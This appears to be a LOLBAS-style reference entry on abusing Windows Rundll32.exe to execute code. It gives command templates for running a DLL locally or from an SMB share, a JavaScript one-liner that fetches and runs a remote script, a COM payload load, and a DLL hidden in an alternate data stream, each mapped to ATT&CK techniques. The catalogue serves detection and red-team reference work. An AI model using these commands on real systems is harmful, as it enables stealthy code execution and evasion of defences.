.. /Rundll32.exe
Star

Execute (DLL, Remote, JScript, COM)
Alternate data streams (DLL)

Used by Windows to execute dll files

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

    rundll32.exe {PATH},EntryPoint
    Use case
    Execute DLL file
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: DLL
  2. Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

    rundll32.exe {PATH_SMB:.dll},EntryPoint
    Use case
    Execute DLL from SMB share.
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: DLL
    Execute: Remote
  3. Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
    Use case
    Execute code from Internet
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: JScript
  4. Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

    rundll32.exe -sta {CLSID}
    Use case
    Execute a DLL/EXE COM server payload or ScriptletURL code.
    Privileges required
    User
    Operating systems
    Windows 10 (and likely previous versions), Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: COM

Alternate data streams

  1. Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

    rundll32 "{PATH}:ADSDLL.dll",DllMain
    Use case
    Execute code from alternate data stream
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Execute: DLL